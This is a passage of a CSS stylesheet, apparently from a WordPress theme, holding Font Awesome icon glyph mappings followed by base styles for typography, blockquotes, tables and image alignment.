:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}

html .mceContentBody {
	max-width: 100%;
}

/* Main column width */
html :where(.wp-block),
.wp-block {
    max-width: 1170px;
}

/* Width of "wide" blocks */
.wp-block[data-align='wide'] {
    max-width: 1080px;
}

/* Width of "full-wide" blocks */
.wp-block[data-align='full'] {
    max-width: none;
}

table {
	border-collapse: collapse;
	border-spacing: 0
}
fieldset, img {
	border: 0
}
caption, th {
	text-align: left
}
q:before, q:after {
	content: ''
}
strong {
	font-weight: bold
}
em {
	font-style: italic
}
em strong {
	font-style: italic;
}
img {
	max-width: 100%;
}
a img {
	border: none
}
body {
	font-family: 'PT Serif', serif;
	color: #313131;
	background-color: #FFF;
	font-size: 14px;
}
p {
	font-size: 14px;
	line-height: 28px;
}
a {
	text-decoration: none;
	color: #6eb48c;
	transition: color 0.3s;
	-webkit-transition: color 0.3s;
	-moz-transition: color 0.3s;
	outline: none;
	cursor: pointer;
}
a:hover {
	text-decoration: underline;
}
h1, h2, h3, h4, h5, h6 {
	font-family: 'Raleway', sans-serif;
	font-style: normal;
	letter-spacing: 0;
	font-weight: bold;
	line-height: 1.3em;
}
p, h1, h2, h3, h4, h5, h6, hr {
	margin-bottom: 17px;
}
h1 {
	font-size: 24px;
}
h2 {
	font-size: 22px;
}
h3 {
	font-size: 20px;
}
h4 {
	font-size: 18px;
}
h5 {
	font-size: 16px;
}
h6 {
	font-size: 14px;
}
hr {
	border: 0;
	height: 0;
	border-bottom: 1px solid #DEDEDE;
	clear: both;
}
blockquote {
	padding: 0;
	position: relative;
	margin: 0 0 20px 0;
}
blockquote,
blockquote p {
	font-size: 16px;
	color: #888;
	font-style: italic;
	line-height: 1.7;
	text-align: left;
}
blockquote p {
	margin: 0 !important;
}
blockquote {
	position: relative;
	padding: 0 0 0 40px;
	border: none !important;
	overflow: hidden;
}
blockquote:before {
	color: #6eb48c;
	content: '\f101';
	font-family: 'penciicon';
	font-size: 22px;
	font-weight: normal;
	line-height: 1;
	font-style: normal;
	position: absolute;
	top: 6px;
	left: 0;
}
blockquote cite,
blockquote .author {
	display: block;
	font-size: 12px;
	text-transform: uppercase;
	margin-top: 7px;
	color: #6eb48c;
	font-style: normal;
	font-family: "Raleway", sans-serif;
	font-weight: bold;
	overflow: hidden;
	text-align: left;
	position: relative;
	z-index: 1;
}
blockquote .author span {
	position: relative;
	display: inline-block;
	padding: 0 10px 0 0;
}
blockquote .author span:after{
	content: "";
	position: absolute;
	top: 50%;
	width: 90px;
	height: 1px;
	background: #6eb48c;
	left: 100%;
	opacity: 0.8;
}
.align-left {
	max-width: 460px;
	float: left;
	width: 100%;
	margin-right: 20px;
}
.align-right {
	max-width: 460px;
	float: right;
	width: 100%;
	margin-left: 20px;
}
ul, ol {
	padding-left: 36px;
	margin-bottom: 20px;
}
ol ol,
ul ul,
ol ul,
ul ol {
	margin: 2px 0;
	padding-left: 22px;
}
ul li {
	margin-bottom: 2px;
	position: relative;
	list-style-type: square;
}
ol li {
	margin-bottom: 2px;
	list-style: decimal;
}
table {
	width: 100%;
	margin-bottom: 20px;
	border-collapse: collapse;
	border-left: 1px solid #f5f5f5;
	border-right: 1px solid #f5f5f5;
}
td, th {
	padding: 12px;
	border-bottom: 1px #DEDEDE solid;
}
th {
	font-weight: bold;
	font-size: 14px;
	background: #f5f5f5;
}
tr:hover {
	background: #ffffff;
}

/* = Wordpress style of core
-----------------------------------------------------*/
.alignnone {
	margin: 5px 20px 20px 0;
}
.aligncenter,
div.aligncenter {
	display: block;
	margin: 5px auto 20px auto;
}
.alignright {
	float: right;
	margin: 5px 0 20px 20px;
}
.alignleft {
	float: left;
	margin: 5px 20px 20px 0;
}
.aligncenter {
	display: block;
	margin: 5px auto 5px auto;
}
a img.alignright {
	float: right;
	margin: 5px 0 20px 20px;
}
a img.alignnone {
	margin: 5px 20px 20px 0;
}
a img.alignleft {
	float: left;
	margin: 5px 20px 20px 0;
}
a img.aligncenter {
	display: block;
	margin-left: auto;
	margin-right: auto
}
.wp-caption {
	background: #fff;
	border: none;
	max-width: 95%;
	padding: 0;
	text-align: center;
	position: relative;
	overflow: hidden;
}
.wp-caption.alignnone {
	margin: 5px 22px 12px 0;
}
.wp-caption.alignleft {
	margin: 5px 30px 12px 0;
}
.wp-caption.alignright {
	margin: 5px 0 12px 30px;
}
.wp-caption img {
